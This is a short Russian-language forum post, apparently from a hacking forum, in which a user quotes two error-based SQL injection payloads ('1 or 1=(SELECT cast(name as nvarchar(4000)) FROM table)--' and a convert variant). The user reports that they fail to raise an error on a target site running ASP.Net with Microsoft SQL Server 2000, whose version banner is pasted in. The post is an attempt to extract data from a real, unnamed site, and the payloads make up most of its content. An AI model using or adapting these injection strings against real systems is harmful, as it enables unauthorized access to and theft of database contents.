25.11.2008, 23:40
|
|
Новичок
Регистрация: 07.10.2007
Сообщений: 4
С нами:
9786202
Репутация:
1
|
|
Сообщение от [Raz0r]
1 or 1=(SELECT cast(name as nvarchar(4000)) FROM table)--
1 or 1=(SELECT convert(nvarchar,name) FROM table)--
Оба эти запроса не выдали ошибку :S.
Используется mssql в связке с ASP.Net.
Microsoft SQL Server 2000 - 8.00.2187 (Intel X86) Mar 9 2006 11:38:51 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
|